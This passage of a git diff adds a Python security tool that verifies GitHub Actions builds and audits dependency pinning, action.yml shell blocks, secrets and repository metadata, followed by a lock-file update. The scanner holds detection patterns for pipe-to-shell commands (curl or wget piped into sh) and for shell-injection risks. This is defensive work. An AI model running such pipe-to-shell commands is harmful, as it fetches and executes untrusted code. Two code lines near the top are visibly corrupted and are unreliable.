re.findall(r"(? len(seen_patterns): + console.print( + f" [dim]({len(findings)} total findings, " + f"{len(findings) - len(seen_patterns)} similar suppressed)[/dim]" + ) + + return warnings + + +def analyze_dependency_pinning( + org: str, repo: str, commit_hash: str, sub_path: str = "", +) -> list[str]: + """Analyze dependency files for pinning practices.""" + warnings: list[str] = [] + + req_candidates = [ + "requirements.txt", "requirements/runtime.txt", + "requirements/runtime.in", "requirements/runtime-prerequisites.txt", + "requirements/runtime-prerequisites.in", + ] + if sub_path: + req_candidates = [f"{sub_path}/{r}" for r in req_candidates] + req_candidates + + found_reqs = False + for req_path in req_candidates: + content = fetch_file_from_github(org, repo, commit_hash, req_path) + if content is None: + continue + + if not found_reqs: + console.print() + console.rule("[bold]Dependency Pinning Analysis[/bold]") + found_reqs = True + + lines = content.splitlines() + total_deps = 0 + pinned_deps = 0 + unpinned_deps = [] + has_hashes = False + + for line in lines: + stripped = line.strip() + if not stripped or stripped.startswith("#") or stripped.startswith("-"): + continue + if stripped.startswith("-c "): + continue + + total_deps += 1 + if "--hash=" in stripped or "\\$" in stripped: + has_hashes = True + + if "==" in stripped: + pinned_deps += 1 + elif "~=" in stripped or ">=" in stripped: + pinned_deps += 1 + pkg_name = re.split(r"[~>== 0: + pin_pct = (pinned_deps / total_deps) * 100 + status = "[green]✓[/green]" if pin_pct >= 90 else "[yellow]![/yellow]" + console.print( + f" {status} [link=https://github.com/{org}/{repo}/blob/{commit_hash}/{req_path}]" + f"{req_path}[/link] [dim]({file_type})[/dim]: " + f"{pinned_deps}/{total_deps} deps pinned ({pin_pct:.0f}%)" + ) + + if unpinned_deps and is_compiled: + for pkg, spec in unpinned_deps[:5]: + console.print(f" [yellow]![/yellow] [dim]{spec}[/dim]") + warnings.append(f"{req_path}: {pkg} not strictly pinned") + if len(unpinned_deps) > 5: + console.print(f" [dim]... and {len(unpinned_deps) - 5} more[/dim]") + + pkg_json_path = f"{sub_path}/package.json" if sub_path else "package.json" + content = fetch_file_from_github(org, repo, commit_hash, pkg_json_path) + if content: + if not found_reqs: + console.print() + console.rule("[bold]Dependency Pinning Analysis[/bold]") + found_reqs = True + + try: + pkg = json.loads(content) + for dep_type in ("dependencies", "devDependencies"): + deps = pkg.get(dep_type, {}) + if not deps: + continue + unpinned = [ + (name, ver) for name, ver in deps.items() + if not re.match(r"^\d+\.\d+\.\d+$", ver) + ] + total = len(deps) + pinned = total - len(unpinned) + pin_pct = (pinned / total) * 100 if total else 100 + status = "[green]✓[/green]" if pin_pct >= 80 else "[yellow]![/yellow]" + console.print( + f" {status} {pkg_json_path} [{dep_type}]: " + f"{pinned}/{total} deps exact-pinned ({pin_pct:.0f}%)" + ) + if unpinned[:5]: + for name, ver in unpinned[:5]: + console.print(f" [dim]{name}: {ver}[/dim]") + except (json.JSONDecodeError, KeyError): + pass + + lock_files = ["package-lock.json", "yarn.lock", "pnpm-lock.yaml"] + if sub_path: + lock_files = [f"{sub_path}/{lf}" for lf in lock_files] + lock_files + for lf_path in lock_files: + content = fetch_file_from_github(org, repo, commit_hash, lf_path) + if content is not None: + if not found_reqs: + console.print() + console.rule("[bold]Dependency Pinning Analysis[/bold]") + found_reqs = True + console.print(f" [green]✓[/green] Lock file present: {lf_path}") + break + + return warnings + + +def analyze_action_metadata( + org: str, repo: str, commit_hash: str, sub_path: str = "", +) -> list[str]: + """Analyze action.yml metadata for security-relevant fields.""" + warnings: list[str] = [] + action_yml = fetch_action_yml(org, repo, commit_hash, sub_path) + if not action_yml: + return warnings + + console.print() + console.rule("[bold]Action Metadata Analysis[/bold]") + + lines = action_yml.splitlines() + + sensitive_input_patterns = [ + (r"default:\s*\$\{\{\s*secrets\.", "input defaults to a secret"), + (r"default:\s*\$\{\{\s*github\.token", "input defaults to github.token"), + ] + for i, line in enumerate(lines, 1): + for pattern, desc in sensitive_input_patterns: + if re.search(pattern, line): + console.print( + f" [yellow]![/yellow] [dim]line {i}:[/dim] " + f"[yellow]{desc}[/yellow]" + ) + console.print(f" [dim]{line.strip()[:100]}[/dim]") + warnings.append(f"action.yml line {i}: {desc}") + + in_run_block = False + dangerous_shell_patterns = [ + (r"curl\s+.*\|\s*(ba)?sh", "pipe-to-shell (curl | sh) — high risk"), + (r"wget\s+.*\|\s*(ba)?sh", "pipe-to-shell (wget | sh) — high risk"), + (r'\$\{\{\s*inputs\.', "direct input interpolation in shell (injection risk)"), + (r'GITHUB_ENV', "writes to GITHUB_ENV (can affect subsequent steps)"), + (r'GITHUB_PATH', "writes to GITHUB_PATH (can affect subsequent steps)"), + (r'GITHUB_OUTPUT', None), + ] + + shell_findings: list[tuple[int, str, str]] = [] + for i, line in enumerate(lines, 1): + stripped = line.strip() + if re.match(r"run:\s*\|", stripped) or re.match(r"run:\s+\S", stripped): + in_run_block = True + continue + if in_run_block: + if stripped and not line[0].isspace(): + in_run_block = False + elif stripped and re.match(r"\s+\w+:", line) and not line.startswith(" "): + if not stripped.startswith("#") and not stripped.startswith("-"): + in_run_block = False + + if in_run_block or (re.match(r"\s+run:\s+", line)): + for pattern, desc in dangerous_shell_patterns: + if desc is None: + continue + if re.search(pattern, line): + shell_findings.append((i, desc, stripped[:100])) + + if shell_findings: + seen: set[str] = set() + shown = 0 + for line_num, desc, snippet in shell_findings: + key = desc + if key not in seen: + seen.add(key) + console.print( + f" [yellow]![/yellow] [dim]line {line_num}:[/dim] " + f"[yellow]{desc}[/yellow]" + ) + console.print(f" [dim]{snippet}[/dim]") + if "high risk" in desc or "injection" in desc: + warnings.append(f"action.yml line {line_num}: {desc}") + shown += 1 + if len(shell_findings) > shown: + console.print( + f" [dim]({len(shell_findings)} total shell findings, " + f"{len(shell_findings) - shown} similar suppressed)[/dim]" + ) + else: + console.print(" [green]✓[/green] No dangerous shell patterns in run: blocks") + + env_secrets = [] + for i, line in enumerate(lines, 1): + if re.search(r"\$\{\{\s*secrets\.", line): + env_secrets.append((i, line.strip()[:100])) + if env_secrets: + console.print(f" [dim]ℹ[/dim] Secrets referenced in {len(env_secrets)} place(s):") + for line_num, snippet in env_secrets[:5]: + console.print(f" [dim]line {line_num}: {snippet}[/dim]") + else: + console.print(" [green]✓[/green] No secrets referenced") + + step_count = sum(1 for line in lines if re.match(r"\s+- name:", line)) + run_count = sum(1 for line in lines if re.match(r"\s+run:", line.rstrip())) + uses_count = sum(1 for line in lines if re.match(r"\s+uses:", line.rstrip())) + console.print( + f" [dim]ℹ[/dim] {step_count} step(s): " + f"{uses_count} uses: action(s) + {run_count} run: block(s)" + ) + + return warnings + + +def analyze_repo_metadata( + org: str, repo: str, commit_hash: str, +) -> list[str]: + """Check repo-level signals: license, recent commits, contributor count.""" + warnings: list[str] = [] + + console.print() + console.rule("[bold]Repository Metadata[/bold]") + + for license_name in ("LICENSE", "LICENSE.md", "LICENSE.txt", "COPYING"): + content = fetch_file_from_github(org, repo, commit_hash, license_name) + if content is not None: + first_lines = content[:500].lower() + license_type = "unknown" + for name, pattern in [ + ("MIT", "mit license"), + ("Apache 2.0", "apache license"), + ("BSD", "bsd"), + ("GPL", "gnu general public"), + ("ISC", "isc license"), + ("MPL", "mozilla public"), + ]: + if pattern in first_lines: + license_type = name + break + console.print(f" [green]✓[/green] License: {license_name} ({license_type})") + break + else: + console.print(f" [yellow]![/yellow] No LICENSE file found") + warnings.append("No LICENSE file found in repository") + + for sec_name in ("SECURITY.md", ".github/SECURITY.md"): + content = fetch_file_from_github(org, repo, commit_hash, sec_name) + if content is not None: + console.print(f" [green]✓[/green] Security policy: {sec_name}") + break + else: + console.print(f" [dim]ℹ[/dim] No SECURITY.md found") + + well_known_orgs = { + "actions", "github", "google-github-actions", "aws-actions", + "azure", "docker", "hashicorp", "pypa", "gradle", + } + if org in well_known_orgs: + console.print(f" [green]✓[/green] Well-known org: [bold]{org}[/bold]") + else: + console.print(f" [dim]ℹ[/dim] Org: {org} (not in well-known list)") + + return warnings diff --git a/utils/verify_action_build/verification.py b/utils/verify_action_build/verification.py new file mode 100644 index 00000000..a55e5304 --- /dev/null +++ b/utils/verify_action_build/verification.py @@ -0,0 +1,306 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +# +"""Verification orchestration and summary display.""" + +import tempfile +from pathlib import Path + +from rich.panel import Panel +from rich.table import Table + +from .action_ref import fetch_file_from_github, parse_action_ref +from .approved_actions import find_approved_versions, show_approved_versions, show_commits_between +from .console import console +from .diff_js import diff_js_files +from .diff_node_modules import diff_node_modules +from .diff_source import diff_approved_vs_new +from .docker_build import build_in_docker +from .github_client import GitHubClient +from .security import ( + analyze_action_metadata, + analyze_dependency_pinning, + analyze_dockerfile, + analyze_nested_actions, + analyze_repo_metadata, + analyze_scripts, +) + +SECURITY_CHECKLIST_URL = "https://github.com/apache/infrastructure-actions#security-review-checklist" + + +def show_verification_summary( + org: str, repo: str, commit_hash: str, sub_path: str, + action_type: str, is_js_action: bool, all_match: bool, + non_js_warnings: list[str] | None, + checked_actions: list[dict] | None, + checks_performed: list[tuple[str, str, str]], + ci_mode: bool = False, +) -> None: + """Show a structured summary of all checks performed.""" + console.print() + console.rule("[bold]Verification Summary[/bold]") + + display_name = f"{org}/{repo}" + if sub_path: + display_name += f"/{sub_path}" + + table = Table(show_header=True, border_style="blue", title=f"[bold]{display_name}@{commit_hash[:12]}[/bold]") + table.add_column("Check", style="bold", min_width=30) + table.add_column("Status", min_width=6, justify="center") + table.add_column("Detail", max_width=60) + + status_icons = { + "pass": "[green]✓[/green]", + "warn": "[yellow]![/yellow]", + "fail": "[red]✗[/red]", + "skip": "[dim]⊘[/dim]", + "info": "[dim]ℹ[/dim]", + } + + for check_name, status, detail in checks_performed: + icon = status_icons.get(status, "[dim]?[/dim]") + table.add_row(check_name, icon, detail) + + console.print(table) + + if checked_actions: + console.print() + nested_table = Table( + show_header=True, border_style="cyan", + title="[bold]Nested Actions Inspected[/bold]", + ) + nested_table.add_column("Action", min_width=30) + nested_table.add_column("Type", min_width=10) + nested_table.add_column("Pinned", justify="center") + nested_table.add_column("Approved", justify="center") + nested_table.add_column("Trusted", justify="center") + + for entry in checked_actions: + action_name = entry.get("action", "?") + atype = entry.get("type", "?") + tag = entry.get("tag", "") + if tag: + action_name += f" ({tag})" + pinned_icon = "[green]✓[/green]" if entry.get("pinned") else "[red]✗[/red]" + approved_icon = "[green]✓[/green]" if entry.get("approved") else "[yellow]—[/yellow]" + if entry.get("type") in ("local", "docker-ref"): + approved_icon = "[dim]n/a[/dim]" + if entry.get("trusted"): + trusted_icon = "[green]✓[/green]" + elif entry.get("type") in ("local", "docker-ref"): + trusted_icon = "[dim]n/a[/dim]" + else: + trusted_icon = "[dim]—[/dim]" + nested_table.add_row(action_name, atype, pinned_icon, approved_icon, trusted_icon) + + console.print(nested_table) + + +def verify_single_action( + action_ref: str, gh: GitHubClient | None = None, ci_mode: bool = False, + cache: bool = True, show_build_steps: bool = False, +) -> bool: + """Verify a single action reference. Returns True if verification passed.""" + org, repo, sub_path, commit_hash = parse_action_ref(action_ref) + + checks_performed: list[tuple[str, str, str]] = [] + non_js_warnings: list[str] = [] + checked_actions: list[dict] = [] + + with tempfile.TemporaryDirectory(prefix="verify-action-") as tmp: + work_dir = Path(tmp) + (original_dir, rebuilt_dir, action_type, out_dir_name, + has_node_modules, original_node_modules, rebuilt_node_modules) = build_in_docker( + org, repo, commit_hash, work_dir, sub_path=sub_path, gh=gh, + cache=cache, show_build_steps=show_build_steps, + ) + + checks_performed.append(("Action type detection", "info", action_type)) + + is_js_action = action_type.startswith("node") or action_type in ("unknown",) + if not is_js_action: + console.print() + console.print( + Panel( + f"[yellow]This is a [bold]{action_type}[/bold] action, not a JavaScript action.\n" + f"Build verification of compiled JS is not applicable — " + f"running composite/docker-specific checks instead.[/yellow]", + border_style="yellow", + title="NON-JS ACTION", + ) + ) + all_match = True + checks_performed.append(("JS build verification", "skip", f"not applicable for {action_type}")) + + nested_warnings, checked_actions = analyze_nested_actions( + org, repo, commit_hash, sub_path, + ci_mode=ci_mode, gh=gh, + ) + non_js_warnings.extend(nested_warnings) + if checked_actions: + unpinned = sum(1 for a in checked_actions if not a.get("pinned")) + unapproved = sum( + 1 for a in checked_actions + if not a.get("approved") and a.get("type") not in ("local", "docker-ref") + ) + status = "pass" + detail = f"{len(checked_actions)} action(s) inspected" + if unpinned: + status = "fail" + detail += f", {unpinned} NOT hash-pinned" + elif unapproved: + status = "warn" + detail += f", {unapproved} not in approved list" + checks_performed.append(("Nested action analysis", status, detail)) + else: + checks_performed.append(("Nested action analysis", "info", "no nested uses: found")) + + if action_type in ("composite", "docker"): + docker_warnings = analyze_dockerfile(org, repo, commit_hash, sub_path) + non_js_warnings.extend(docker_warnings) + if docker_warnings: + checks_performed.append(("Dockerfile analysis", "warn", f"{len(docker_warnings)} warning(s)")) + else: + df_exists = fetch_file_from_github(org, repo, commit_hash, "Dockerfile") is not None + if df_exists: + checks_performed.append(("Dockerfile analysis", "pass", "no issues found")) + else: + checks_performed.append(("Dockerfile analysis", "skip", "no Dockerfile")) + + script_warnings = analyze_scripts(org, repo, commit_hash, sub_path) + non_js_warnings.extend(script_warnings) + checks_performed.append(( + "Script analysis", + "warn" if script_warnings else "pass", + f"{len(script_warnings)} warning(s)" if script_warnings else "no suspicious patterns", + )) + + dep_warnings = analyze_dependency_pinning(org, repo, commit_hash, sub_path) + non_js_warnings.extend(dep_warnings) + checks_performed.append(( + "Dependency pinning", + "warn" if dep_warnings else "pass", + f"{len(dep_warnings)} warning(s)" if dep_warnings else "dependencies pinned", + )) + + metadata_warnings = analyze_action_metadata(org, repo, commit_hash, sub_path) + non_js_warnings.extend(metadata_warnings) + checks_performed.append(( + "Action metadata (shell/env/secrets)", + "warn" if metadata_warnings else "pass", + f"{len(metadata_warnings)} warning(s)" if metadata_warnings else "no issues", + )) + + repo_warnings = analyze_repo_metadata(org, repo, commit_hash) + non_js_warnings.extend(repo_warnings) + checks_performed.append(( + "Repository metadata", + "warn" if repo_warnings else "pass", + f"{len(repo_warnings)} warning(s)" if repo_warnings else "ok", + )) + + if non_js_warnings: + console.print() + console.print( + Panel( + "\n".join(f" [yellow]![/yellow] {w}" for w in non_js_warnings), + title=f"[yellow bold]{len(non_js_warnings)} Warning(s)[/yellow bold]", + border_style="yellow", + padding=(0, 1), + ) + ) + else: + console.print() + console.print( + " [green]✓[/green] All checks passed with no warnings" + ) + else: + all_match = diff_js_files( + original_dir, rebuilt_dir, org, repo, commit_hash, out_dir_name, + ) + checks_performed.append(( + "JS build verification", + "pass" if all_match else "fail", + "compiled JS matches rebuild" if all_match else "DIFFERENCES DETECTED", + )) + + if has_node_modules: + nm_match = diff_node_modules( + original_node_modules, rebuilt_node_modules, + org, repo, commit_hash, + ) + all_match = all_match and nm_match + + # Check for previously approved versions and offer to diff + approved = find_approved_versions(org, repo) + if approved: + checks_performed.append(("Approved versions", "info", f"{len(approved)} version(s) on file")) + selected_hash = show_approved_versions(org, repo, commit_hash, approved, gh=gh, ci_mode=ci_mode) + if selected_hash: + show_commits_between(org, repo, selected_hash, commit_hash, gh=gh) + diff_approved_vs_new(org, repo, selected_hash, commit_hash, work_dir, ci_mode=ci_mode) + checks_performed.append(("Source diff vs approved", "info", f"compared against {selected_hash[:12]}")) + else: + checks_performed.append(("Approved versions", "info", "new action (none on file)")) + if not is_js_action: + console.print( + " [dim]No previously approved versions found — " + "this appears to be a new action[/dim]" + ) + + show_verification_summary( + org, repo, commit_hash, sub_path, + action_type, is_js_action, all_match, + non_js_warnings if not is_js_action else None, + checked_actions if checked_actions else None, + checks_performed, + ci_mode=ci_mode, + ) + + console.print() + checklist_hint = f"\n[dim]Security review checklist: {SECURITY_CHECKLIST_URL}[/dim]" + if all_match: + if is_js_action: + if has_node_modules: + result_msg = "[green bold]Vendored node_modules matches fresh install[/green bold]" + else: + result_msg = "[green bold]All compiled JavaScript matches the rebuild[/green bold]" + else: + if non_js_warnings: + result_msg = ( + f"[yellow bold]{action_type} action — {len(non_js_warnings)} warning(s) " + f"found during analysis (review above)[/yellow bold]" + ) + else: + result_msg = ( + f"[green bold]{action_type} action — all checks passed[/green bold]" + ) + border = "yellow" if not is_js_action and non_js_warnings else "green" + console.print(Panel(result_msg + checklist_hint, border_style=border, title="RESULT")) + else: + console.print( + Panel( + "[red bold]Differences detected between published and rebuilt JS[/red bold]" + + checklist_hint, + border_style="red", + title="RESULT", + ) + ) + + return all_match diff --git a/uv.lock b/uv.lock index 261ab5c6..ddc69d10 100644 --- a/uv.lock +++ b/uv.lock @@ -3,9 +3,75 @@ revision = 3 requires-python = ">=3.13" [options] -exclude-newer = "2026-03-30T00:55:54.930441693Z" +exclude-newer = "2026-04-02T14:49:14.252075Z" exclude-newer-span = "P4D" +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = 